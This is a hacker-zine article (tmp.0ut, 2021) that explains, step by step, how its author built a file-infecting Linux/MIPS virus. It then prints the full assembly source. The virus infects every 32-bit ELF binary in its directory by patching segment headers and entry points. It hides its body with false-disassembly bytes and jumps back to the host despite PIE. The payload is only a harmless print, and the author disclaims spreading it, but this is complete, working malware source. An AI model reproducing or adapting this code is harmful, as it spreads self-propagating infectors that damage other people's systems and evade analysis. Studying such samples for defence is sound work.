1.12 Writing Viruses In MIPS Assembly For Fun (And No Profit)
~ S01den
Lovely written by S01den, from the tmp.0ut crew !
01/2021
+----------- Contact -----------+
| twitter: @s01den |
| mail: S01den@protonmail.com |
+-------------------------------+
Introduction
In this short(?) paper, I will explain to you how I wrote Lin32.MIPS.Bakunin[0], my first virus targeting Linux/MIPS systems (such as routers, IoT stuff or video game consoles) in pure MIPS assembly. Obviously I didn't and I won't spread it into the wild. Don't do that stupid thing neither.
I used some fun tricks which I want to develop here, such as computing the Original Entry Point of an host despite PIE, obfuscating the main part of the virus by fucking up alignment with just few bytes, and more surprises!
Before anything, let's summarize the basic features of Bakunin:
- Infect all the ELF in the current directory, PIE or not, thanks to the Silvio Cesare's text infection method[1] (modify the text segment definition to make it able to host the virus code)
- Uses a simple but powerful Anti Reverse-Engineering technique, the false disassembly[2]
- Prints "X_X" (really great payload as you can see)
- It was a great anarchist philosopher <-- Not THIS Bakunin...
Now that you're hyped, we can start to dig into the Lin32.MIPS.Bakunin source code!
TW: A lot of dirty MIPS code. Take care of your eyes...
Implementing the false-disassembly technique in MIPS assembly: Coding the Prologue
Before anything, I want to shortly explain what is false-disassembly.
This anti-RE technique consists simply in fucking up alignment by harcoding the first bytes (here, the first 3 bytes) of an instruction. Thus, the disassembler will interpret thoses "ghost" bytes as the beginning of an instruction, and complete it with the firsts bytes of the next instruction. This will fuck up all the alignment and can make a lot of instructions looking absurd.
For example (not from my virus):
-------------------- cut-here --------------------
jmp hey+2 # to jump over the ghost bytes
hey: hey:
xor %rbx, %rbx .ascii "\x48\x31"
jmp yo ====> xor %rbx, %rbx
jmp yo
---------------------------------------------------
Now, if we look at the disassembled code of those two codes we would have something like this (radare2 ftw):
-------------------- cut-here --------------------
;-- hey:
0x00401002 4831db xor rbx, rbx
0x00401005 eb02 jmp 0x401009
||
\/
;-- hey:
0x00401002 48314831 xor qword [rax + 0x31], rcx
0x00401006 dbeb fucomi st(3)
0x00401008 026631 add ah, byte [rsi + 0x31]
---------------------------------------------------
This is very powerful for the MIPS architecture because all the instructions are made of the same number of bytes, which is 4, so that addresses of instructions are aligned to be a multiple of 4 (they end by 0x0, 0x4, 0x8 or 0xc).
So that we don't even have to put meaningful ghost bytes, we can put any byte we want because the alignment will be fucked up anyway:
0x004000b3 unaligned
0x004000b4 fc004003 invalid
0x004000b8 a0182523 sb t8, 0x2523(zero)
0x004000bc bdf00003 cache 0x10, 3(t7)
0x004000c0 a0202524 sb zero, 0x2524(at)
0x004000c4 0500ff24 bltz t0, 0x3ffd58
0x004000c8 02106b00 invalid
0x004000cc 00000c03 sra at, zero, 0x10
0x004000d0 a0202524 sb zero, 0x2524(at)
0x004000d4 05000024 bltz t0, 0x400168
...
Just garbage as you can see :)
However, in MIPS assembly we can't jump anywhere, we have to jump on an address multiple of 4 because of the alignment.
That's why I divided the virus in two parts: the prologue and the body.
The prologue is constituted of a mmap2 syscall, preparing an executable area in memory where we will copy (thanks to the .get_vx routine which follows) the body code, which is unaligned, to be then able to jump in. In other words, we're restoring alignment to be able to execute those instructions.
--= call the mmap2 syscall =--
# I didn't know how to pass more than 4 arguments (the registers $a0...$a3),
# so I made a simple program which use mmap(), I statically linked it
# and disassembled it to see how mmap was called, that's where I've got
# the 3 following lines
sw $zero,20($sp)
li $v0,0
sw $v0,16($sp)
li $a0, 0
li $a1, 0x6a8 # the full virus size
li $a2, 7 # PROT_READ|PROT_WRITE|PROT_EXEC
li $a3, 0x0802 # MAP_ANONYMOUS | MAP_PRIVATE
li $v0, 4210 # sys_mmap2
syscall
------------------------------
This just stands for:
mmap2(NULL, 0x6a8, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
Once we've got a memory area allocated, we grab the code of the virus body (after the false disassembly bytes) to copy it in.
--= Copying the virus body =--
bgezal $zero, get_pc # we grab the code by directly accessing the addresses of
# instructions
add $t1, $t1, 0x6f # 0x6f = the number of bytes to reach the body,
# now $t1 contains the addr of the body
move $t2, $v0 # $t2 now contains the addr we've just mmaped
li $t0, 0 # $t0 will be our counter
.get_vx:
lb $t3, 0($t1) # we put the current grabbed byte into $t3
sb $t3, 0($t2) # and we write this byte at the area pointed by $t2
addi $t0, $t0, 1
addi $t1, $t1, 1
addi $t2, $t2, 1
blt $t0, 0x615, .get_vx # there is 0x615 bytes in the body
jal $v0 # jump to the mmaped region
beq $zero, $zero, eof # the body will jump here after executing the payload
get_pc: # moving the saved eip (or pc in MIPS) in $t1
move $t1, $ra
jr $ra
---------------------------------
note: we use intructions such as beq or bgezal because we have to use relative jumps in viruses (otherwise they wouldn't work in infected binaries) but classic jump instructions (such as j or jal) are absolute...
The end of the prologue is only constituted of a call to sys_exit and a padding to make room for 9 instructions (the eof routine will be rewritten during the infection by the code permitting to compute the OEP despite PIE), and by .ascii "\xeb\x01\xe8", the ghost bytes which fuck up the alignment of the body code.
Infecting the whole directory: Coding the Body
Now we are in the body, we can do classic virus stuff.
To be able to infect binaries, a virus has to grab the list of the potential hosts in the current directory.
We firstly get the name of the current dir thanks to a sys_getcwd syscall, then we can open it through a sys_open syscall.
Once the directory is opened, we use the sys_getdents64 syscall to get a structure containing the filenames of the file present in the dir.
We simply parse it with the following routine:
--= Parsing the dirent structure =--
li $s0, 0 # s0 will be our counter
parse_dir:
move $s2, $sp # s2 will contain the address of the filename
addi $s2, $s2, 0x13 # d_name
li $t1, 0
addi $t1, $sp, 0x12
lb $t1, 0($t1) # t1 now contains the type of the entry (file or dir)
bgezal $zero, infect
li $t9, 0
# get d_reclen (see the organization of the dirent64 structure...)
addi $t9, $sp, 0x10
lb $t0, 1($t9)
# buffer position += d_reclen
add $s0, $s0, $t0
add $sp, $sp, $t0
blt $s0, $s1, parse_dir # if counter < nbr of entries : jmp to parse_dir
------------------------------------
Then, we open each of these files, and mmap them this way:
mmap2(NULL, len_file, PROT_WRITE|PROT_EXEC, MAP_SHARED, fd, 0)
and we check if they are able to host the virus:
--= S0me checks =--
# $s5 contains the addr of the mmaped area
.check_magic:
lw $t0, 0($s5)
li $t1, 0x7f454c46 # check if the file is an ELF (by checking the magic bytes)
bne $t0, $t1, end
.check_bits:
lb $t0, 4($s5)
bne $t0, 1, end # here, we check e_ident[EI_CLASS], to know if the ELF we're
# trying to infect is 32 or 64 bit (if it's 64 bit, goto end)
.check_signature:
lw $t0, 9($s5) # the signature is located in e_hdr.padding, such as in
# Lin64.Kropotkine[3]
beq $t0, 0xdeadc0de, end
----------------------
Then, if we're still here, we can infect the file.
We use the silvio's infection technique:
To insert code at the end of the text segment thus leaves us with the following to do so far.
- Increase p_shoff to account for the new code in the ELF header
- Locate the text segment program header
- Increase p_filesz to account for the new code
- Increase p_memsz to account for the new code
- For each phdr who's segment is after the insertion (text segment)
- increase p_offset to reflect the new position after insertion
- For each shdr who's section resides after the insertion
- Increase sh_offset to account for the new code
- Physically insert the new code into the file - text segment p_offset + p_filesz (original)"[1]
The infection routine is pretty long and I widely commented it, so I won't explain here my code point by point.
Just keep in mind that we first have to write the prologue. Because we're in the mmaped area, we can't grab it as we did for the body (because the prologue isn't in the mmaped area), so I hardcoded it... (see the lines 366 to 446)
After copying the hardcoded prologue, we write the code (again hardcoded) to compute the OEP. I used the same method as in my Lin64.Kropotkine[3], (the Elf_master's technique to resolve OEP despite PIE[4]).
It consists simply of doing this operation:
get_rip() - number_of_bytes_before - new_EP + original-e_hdr.entry
Here is the MIPS code to achieve this calculus:
------------------- the code to hardcode -------------------
0411fff5 bal get_pc
00000000 nop
2129fc70 addi t1, t1, -0x74 # substract the number of bytes before
# this instruction
3401dead ori at, zero, new_EP
01214822 sub t1, t1, at
2129beef addi t1, t1, OEP
0060e825 move sp, v1 # restore the original stack
01200008 jr t1 # jump to the computed OEP
------------------------------------------------------------
Then, we can write the body into the host, apply changes (with sys_msync and sys_munmap) and finally close the file, to try to infect another one.
After infecting the whole directory, we just execute the payload ("X_X") and finally exit!
Conclusion
I hope you enjoyed this paper! I learned a lot by writing this virus, I've never written anything in MIPS assembly before...
I hope you learned as much as I learned by working on this virus during two months.
Notes and References
[0] the location of the source code
[1] Silvio's paper about infection http://ivanlef0u.fr/repo/madchat/vxdevl/vdat/tuunix02.htm
[2] http://www.ouah.org/linux-anti-debugging.txt
[3] https://github.com/vxunderground/MalwareSourceCode/blob/main/VXUG/Linux.Kropotkine.asm
[4] https://bitlackeys.org/papers/pocorgtfo20.pdf
...
Source
- Linux.Bak0unin.asm (See file in txt/)
Linux.Bak0unin.asm
##############################################################
## A MIPS-32 ELF non-resident virus with false disassembly ##
## Made with love by S01den (@s01den) ##
## From the tmp.0ut crew ! ##
## 01/2021 ##
##############################################################
# .____ .__ ________ ________ _____ ._____________ _________ __________ __ .__
# | | |__| ____ \_____ \ \_____ \ / \ | \______ \/ _____/ \______ \_____ | | ____ __ ____ |__| ____
# | | | |/ \ _(__ < / ____/ / \ / \| || ___/\_____ \ | | _/\__ \ | |/ / | \/ \| |/ \
# | |___| | | \/ \/ \ / Y \ || | / \ | | \ / __ \| <| | / | \ | | \
# |_______ \__|___| /______ /\_______ \ /\ \____|__ /___||____| /_______ / /\ |______ /(____ /__|_ \____/|___| /__|___| /
# \/ \/ \/ \/ \/ \/ \/ \/ \/ \/ \/ \/ \/
# In tribute to Mikhail Bakunin, an anarchist philosopher (https://en.wikipedia.org/wiki/Mikhail_Bakunin)
# Don't spread this into the wild
# I don't take any responsibility for what you do with this
# This non-destructive Proof of Concept virus infects PIE and non-PIE, written in pure MIPS assembly, infects every ELF in its directory, PIE or not.
# It also uses a little trick to avoid a correct disassembly of its main part (the well-known false-disassembly technique)
# build command: mips-as Linux.Bak0unine.asm -o bak.o ; mips-ld bak.o -o bak
# features:
# ############################################################
# ## Infection technique ## Silvio's forward text infection ##
# ############################################################
# ## Payload ## Prints "X_X" ## // wow really fancy...
# ############################################################
# ## Anti-RE ## false-disassembly ##
# ############################################################
# ---------------------------- CUT-HERE ----------------------------
.text
.global _start
_start:
# - start of the prologue - #
# first of all, we have to mmap an executable area in memory where we can copy the aligned code
# (because the fake disassembly technique fucks up the alignment, and in MIPS, we can't jump anywhere...)
sw $zero,20($sp)
li $v0,0
sw $v0,16($sp)
li $a0, 0
li $a1, 0x6a8 # the full vrius size
li $a2, 7 # PROT_READ|PROT_WRITE|PROT_EXEC
li $a3, 0x0802 # MAP_ANONYMOUS | MAP_PRIVATE
li $v0, 4210 # sys_mmap2
syscall
bgezal $zero, get_pc # we grab the code by accessing directly to the addresses of instructions
add $t1, $t1, 0x6f # 0x6f = the number of bytes to reach true_start, now $t1 contains the addr of the body
move $t2, $v0 # $t2 now contains the addr we've just mmaped
li $t0, 0 # $t0 will be our counter
.get_vx: # copy the virus body in the memory region we've just mmaped
lb $t3, 0($t1) # we put the current grabbed byte into $t3
sb $t3, 0($t2) # and we write this byte at the area pointed by $t2
addi $t0, $t0, 1
addi $t1, $t1, 1
addi $t2, $t2, 1
blt $t0, 0x615, .get_vx # there is 0x615 bytes in the body
jal $v0 # jump to the mmaped region
beq $zero, $zero, eof
get_pc:
move $t1, $ra
jr $ra
eof:
li $a0, 2
li $v0, 4001 # sys_exit
syscall
.ascii "\xac\xab\xac\xab" # because the code to ret to the OEP is larger than eof, we have to make padding
.ascii "\xac\xab\xac\xab"
.ascii "\xac\xab\xac\xab"
.ascii "\xac\xab\xac\xab"
.ascii "\xac\xab\xac\xab"
.ascii "\xac\xab\xac\xab"
.ascii "\xeb\x01\xe8" # false-disas bytes; different for every new infection
# - end of the prologue - #
# - The beginning of the virus body - #
true_start:
addi $gp, $ra, 64 # gp will contain the addr of the eof routine in order to be able to jump on it after executing the whole body
move $v1, $sp
sub $sp, $sp, 0x1000
move $a0, $sp
li $a1, 0xff
li $v0, 4203 # sys_getcwd
syscall
move $a0, $sp
li $a1, 0
li $a2, 0
li $v0, 4005 # sys_open
syscall
blt $v0, 0, payload # exit if return code of sys_open is < 0
move $a0, $v0
move $a1, $sp
li $a2, 1024
li $v0, 4219 # sys_getdents64
syscall
move $s1, $v0 # store the result (the number of entries) in $s1
li $v0, 4006 # sys_close
syscall
li $s0, 0 # s0 will be our counter
parse_dir:
move $s2, $sp # s2 will contain the address of the filename
addi $s2, $s2, 0x13 # d_name
li $t1, 0
addi $t1, $sp, 0x12
lb $t1, 0($t1) # t1 now contains the type of the entry (file or dir)
bgezal $zero, infect
li $t9, 0
# get d_reclen (see the organization of the dirent64 structure...)
addi $t9, $sp, 0x10
lb $t0, 1($t9)
# buffer position += d_reclen
add $s0, $s0, $t0
add $sp, $sp, $t0
blt $s0, $s1, parse_dir # if counter < nbr of entries : jmp to parse_dir
beq $zero, $zero, payload
infect:
############## REGISTER TABLE ##############
## $s0 = counter of entries ##
## $s1 = the number of entries ##
## $s2 = the addr of the filename we treat##
## $s3 = the addr of the stack before jal ##
## $s4 = the fd of the potential host ##
## $s5 = the addr returned by mmap ##
## $s6 = OEP ##
## $s7 = virtual addr of the vx = new EP ##
## $t9 = length of the file ##
############################################
move $s3, $sp
sub $sp, $sp, 0x100
bne $t1, 0x8, end # if the name we've got isn't a filename, return to parse_dir
li $v0, 4005
move $a0, $s2
li $a1, 0x402 # RW mode
li $a2, 0
syscall # sys_open
bgt $v0, 0x10, end # if the openning failed : jmp to parse_dir
move $s4, $v0
move $a0, $s4
move $a1, $sp
li $v0, 4108 # sys_fstat (to know the length of the file we're trying to infect)
syscall
lw $t9, 48($sp)
# I didn't know how to pass more than 4 arguments (the registers $a0...$a3), so I made a simple program which use mmap(), I statically linked it
# and disassembled it to see how mmap was called, that's where I've got the 3 following lines
sw $zero,20($sp)
li $v0,3
sw $v0,16($sp)
li $a0, 0
move $a1, $t9
li $a2, 6
li $a3, 1
li $v0, 4210 # sys_mmap2 (to map the content of the file in memory)
syscall
move $s5, $v0 # $s5 contains the addr of the mmaped area
.check_magic:
lw $t0, 0($s5)
li $t1, 0x7f454c46 # check if the file is an ELF (by checking the magic bytes)
bne $t0, $t1, end
.check_bits:
lb $t0, 4($s5)
bne $t0, 1, end # here, we check e_ident[EI_CLASS], to know if the ELF we're trying to infect is 32 or 64 bit (if it's 64 bit, goto end)
.check_signature:
lw $t0, 9($s5) # the signature is located in e_hdr.padding, such as in Lin64.Kropotkine
beq $t0, 0xdeadc0de, end
.infection:
# We use the silvio's infection technique -> http://ivanlef0u.fr/repo/madchat/vxdevl/vdat/tuunix02.htm
# To insert code at the end of the text segment thus leaves us with the following to do so far.
# * Increase p_shoff to account for the new code in the ELF header
# * Locate the text segment program header
# * Increase p_filesz to account for the new code
# * Increase p_memsz to account for the new code
# * For each phdr who's segment is after the insertion (text segment)
# * increase p_offset to reflect the new position after insertion
# * For each shdr who's section resides after the insertion
# * Increase sh_offset to account for the new code
# * Physically insert the new code into the file - text segment p_offset
# + p_filesz (original)
lh $t0, 0x2c($s5) # load e_phnum in $t0
li $t1, 0 # the counter of program headers
lw $t5, 0x1c($s5) # load e_phoff in $t2
.search_phdr: # in this sub-routine, we're looking for the segment which contains .text
lh $t3, 0x2a($s5) # load e_phentsize in $t3
mult $t3, $t1
mflo $t3
add $t3, $t3, $t5
add $t2, $s5, $t3
lw $t3, 0($t2) # load p_type in $t3
bne $t3, 1, .end_loop_search_t # 1 = PT_LOAD so here we check if the segment is loadable
lw $t3, 0x18($t2) # load p_flags in $t3
bne $t3, 5, .end_loop_search_t # 5 = PT_X | PT_R so here we check if the segment is readable and executable
# if we're here, we've found the right phdr
lw $t3, 0x4($t2) # load p_offset in $t3
lw $t4, 0x10($t2) # load p_filesz in $t4
add $s6, $t3, $t4 # end_of_.text = offset_.text + length_.text
lw $t3, 0x8($t2) # load p_vaddr in $t3
add $s7, $t3, $t4 # virtual addr of the start of the vx body = virtual addr of the end of .text so vaddr_vx = vaddr_.text + length_.text
lw $t3, 0x18($s5) # save the original entry point in $t8
sw $s7, 0x18($s5) # patch the entry point with vaddr_vx
move $s7, $t3
# -- add to p_filesz the size of the vx --
lw $t3, 0x10($t2)
addi $t3, $t3, 0x6a8
sw $t3, 0x10($t2)
# -- add to p_memsz the size of the vx --
lw $t3, 0x14($t2)
addi $t3, $t3, 0x6a8
sw $t3, 0x14($t2)
# -- insert the signature of the vx --
li $t3, 0xdeadc0de
sw $t3, 0x9($s5)
addi $t1, $t1, 1
# in this routine we'll patch the lasts phdr to take into account the size of the vx
.increase_sizeof_phdr:
lh $t3, 0x2a($s5) # load e_phentsize in $t3
mult $t3, $t1
mflo $t3
add $t3, $t3, $t5
add $t2, $s5, $t3
# increase p_offset
lw $t3, 4($t2)
addi $t3, $t3, 4096 # add PAGE_SZ32 to p_offset
sw $t3, 4($t2)
addi $t1, $t1, 1
blt $t1, $t0, .increase_sizeof_phdr
beq $zero, $zero, .search_shdr
.end_loop_search_t:
addi $t1, $t1, 1
blt $t1, $t0, .search_phdr
.search_shdr:
lh $t0, 0x30($s5) # load e_shnum in $t0
li $t1, 0 # the counter of section headers
lw $t5, 0x20($s5) # load e_shoff in $t2
.loop_shdr:
lh $t3, 0x2e($s5) # load e_shentsize in $t3
mult $t3, $t1
mflo $t3
add $t3, $t3, $t5
add $t2, $s5, $t3
lw $t3, 0x10($t2) # sh_offset
bgt $t3, $s6, .section_after_txt_end # here we check if the section is located after the one we're infecting
lw $t3, 0x14($t2) # sh_size
lw $t4, 0x0C($t2) # sh_addr
add $t4, $t4, $t3
beq $t4, $s6, .section_of_vx # here we check if the section is the one we're infecting
.end_loop_shdr:
addi $t1, $t1, 1
blt $t1, $t0, .loop_shdr
beq $zero, $zero, .end_infection
.section_after_txt_end:
addi $t3, $t3, 4096 # add PAGE_SZ32 to sh_offset
sw $t3, 0x10($t2)
beq $zero, $zero, .end_loop_shdr
.section_of_vx:
addi $t3, $t3, 0x6a8 # <- add the vx size to sh_size
sw $t3, 0x14($t2)
beq $zero, $zero, .end_loop_shdr
.end_infection:
# -- add to e_shoff the size of a 32 bit page (because the section header table is located at the end of the file) --
lw $t0, 0x20($s5)
addi $t0, $t0, 4096
sw $t0, 0x20($s5)
move $a0, $s5
move $a1, $t9
li $a2, 0
li $v0, 4144
syscall # sys_msync, to apply the change to the file
sub $sp, $sp, 0x6a8 # <- make room in the stack for the vx bytes
move $t7, $ra
li $t0, 0
move $t2, $sp
# copy the prologue of the virus (and change randomly the bytes for the fake disassembly)
# ---- the code to hardcode ----
# afa00014 sw zero, 0x14(sp)
# 24020000 addiu v0, zero, 0
# afa20010 sw v0, 0x10(sp)
# 24040000 addiu a0, zero, 0
# 240506a8 addiu a1, zero, 0x6a8
# 24060007 addiu a2, zero, 7
# 24070802 addiu a3, zero, 0x802
# 24021072 addiu v0, zero, 0x1072
# 0000000c syscall
# 04110011 bal loc.get_pc
# 00000000 nop
# 2129006f addi t1, t1, 0x6f
# 00405025 move t2, v0
# 24080000 addiu t0, zero, 0
# -- .get_vx:
# 812b0000 lb t3, (t1)
# 00000000 nop
# a14b0000 sb t3, (t2)
# 21080001 addi t0, t0, 1
# 21290001 addi t1, t1, 1
# 214a0001 addi t2, t2, 1
# 29010615 slti at, t0, 0x615
# 1420fff8 bnez at, loc..get_vx
# 00000000 nop
# 0040f809 jalr v0
# 00000000 nop
# 10000003 b loc.eof
# 00000000 nop
# -- get_pc:
# 03e00008 jr ra
# 03e04825 move t1, ra
# ------------------------------
li $t3, 0xafa00014
sw $t3, 0($t2)
addi $t2, $t2, 4
li $t3, 0x24020000
sw $t3, 0($t2)
addi $t2, $t2, 4
li $t3, 0xafa00010
sw $t3, 0($t2)
addi $t2, $t2, 4
li $t3, 0x24040000
sw $t3, 0($t2)
addi $t2, $t2, 4
li $t3, 0x240506a8
sw $t3, 0($t2)
addi $t2, $t2, 4
li $t3, 0x24060007
sw $t3, 0($t2)
addi $t2, $t2, 4
li $t3, 0x24070802
sw $t3, 0($t2)
addi $t2, $t2, 4
li $t3, 0x24021072
sw $t3, 0($t2)
addi $t2, $t2, 4
li $t3, 0x0000000c
sw $t3, 0($t2)
addi $t2, $t2, 4
li $t3, 0x0411000f
sw $t3, 0($t2)
addi $t2, $t2, 4
li $t3, 0x00000000
sw $t3, 0($t2)
addi $t2, $t2, 4
li $t3, 0x2129006f
sw $t3, 0($t2)
addi $t2, $t2, 4
li $t3, 0x00405025
sw $t3, 0($t2)
addi $t2, $t2, 4
li $t3, 0x24080000
sw $t3, 0($t2)
addi $t2, $t2, 4
li $t3, 0x812b0000
sw $t3, 0($t2)
addi $t2, $t2, 4
li $t3, 0x00000000
sw $t3, 0($t2)
addi $t2, $t2, 4
li $t3, 0xa14b0000
sw $t3, 0($t2)
addi $t2, $t2, 4
li $t3, 0x21080001
sw $t3, 0($t2)
addi $t2, $t2, 4
li $t3, 0x21290001
sw $t3, 0($t2)
addi $t2, $t2, 4
li $t3, 0x214a0001
sw $t3, 0($t2)
addi $t2, $t2, 4
li $t3, 0x29010615
sw $t3, 0($t2)
addi $t2, $t2, 4
li $t3, 0x1420fff8
sw $t3, 0($t2)
addi $t2, $t2, 4
li $t3, 0x00000000
sw $t3, 0($t2)
addi $t2, $t2, 4
li $t3, 0x00400008
sw $t3, 0($t2)
addi $t2, $t2, 4
li $t3, 0x00000000
sw $t3, 0($t2)
addi $t2, $t2, 4
li $t3, 0x03e00008
sw $t3, 0($t2)
addi $t2, $t2, 4
li $t3, 0x03e04825
sw $t3, 0($t2)
addi $t2, $t2, 4
# ---- the code to hardcode ----
# 0411fff5 bal get_pc
# 00000000 nop
# 2129fc70 addi t1, t1, -0x390
# 3401dead ori at, zero, 0xdead
# 01214822 sub t1, t1, at
# 2129beef addi t1, t1, -0x4111
# 0060e825 move sp, v1
# 01200008 jr t1
# ------------------------------
# here we're writting the code to ret2OEP despite the PIE
li $t3, 0x0411fffd
sw $t3, 0($t2)
addi $t2, $t2, 4
li $t3, 0x00000000
sw $t3, 0($t2)
addi $t2, $t2, 4
li $t3, 0x2129ff8c
sw $t3, 0($t2)
addi $t2, $t2, 4
li $t3, 0x3401
sh $t3, 0($t2)
addi $t2, $t2, 2
move $t3, $s6
sh $t3, 0($t2)
addi $t2, $t2, 2
li $t3, 0x01214822
sw $t3, 0($t2)
addi $t2, $t2, 4
li $t3, 0x2129
sh $t3, 0($t2)
addi $t2, $t2, 2
move $t3, $s7
sh $t3, 0($t2)
addi $t2, $t2, 2
li $t3, 0x0060e825
sw $t3, 0($t2)
addi $t2, $t2, 4
li $t3, 0x01200008
sw $t3, 0($t2)
addi $t2, $t2, 4
li $t3, 0x00000000
sw $t3, 0($t2)
addi $t2, $t2, 4
nop
xor $v0, $t2, 0xdead # thanks to the aslr, t2 is random \o/ so we use it as a seed to randomize the bytes which make the false disassembly
move $t3, $v0 # (this technique of "polymorphic" false-disassembly is useless in mips (because in mips
sw $t3, 0($t2) # every instruction is made of the same number of bytes (which is 4)), but can be interesting in other architectures)
addi $t2, $t2, 3 # (I'm writing a paper exploring this idea... ;))
bgezal $zero, get_pc_2
sub $t1, $t1, 0x530 # 0x530 = the number of bytes before this routine in the virus body
.get_vx_2:
lb $t3, 0($t1)
sb $t3, 0($t2)
addi $t0, $t0, 1
addi $t1, $t1, 1
addi $t2, $t2, 1
blt $t0, 0x615, .get_vx_2 # 0x611 = the size of the virus body
move $ra, $t7
move $a0, $s4
lw $a1, 0x20($s5)
li $a2, 0 # SEEK_SET
li $v0, 4019 # sys_lseek
syscall # here, we seek after the future vx code
move $a0, $s4
lw $t0, 0x20($s5)
sub $t0, $t0, 4096
add $a1, $s5, $t0
move $a2, $t9
sub $a2, $a2, $t0 # len of host - text_end = length of the end of the file
li $v0, 4004 # sys_write
syscall
move $a0, $s4
move $a1, $s6
li $a2, 0 # SEEK_SET
li $v0, 4019 # sys_lseek
syscall
move $a0, $s4
move $a1, $sp
li $a2, 4096 # len = PAGE_SZ32
li $v0, 4004 # sys_write
syscall
move $a0, $s5
move $a1, $t9
li $a2, 0
li $v0, 4091
syscall # sys_munmap
end:
move $a0, $s4
li $v0, 4006 # sys_close
syscall
move $sp, $s3
jr $ra
get_pc_2:
move $t1, $ra
jr $ra
payload:
li $a0, 0
li $t0, 0x585f580a # X_X
sw $t0, 0($sp)
move $a1, $sp
li $a2, 4
li $v0, 4004 # sys_write
syscall
jr $gp # jumping back in the non-mmaped code (where there is the eof routine which exit or jump to the OEP)
# - end of the virus body - #
# ---------------------------- CUT-HERE ----------------------------
# ___________ __
# \__ ___/____ ______ ____ __ ___/ |_
# | | / \\____ \ / _ \| | \ __\
# | || Y Y \ |_> > ( <_> ) | /| |
# |____||__|_| / __/ /\ \____/|____/ |__|
# \/|__| \/
#
# --> Stay tuned...
# Greetz to: Sblip, Okb, TMZ
# Long live to the vx scene !
# Siamo tutti antifascisti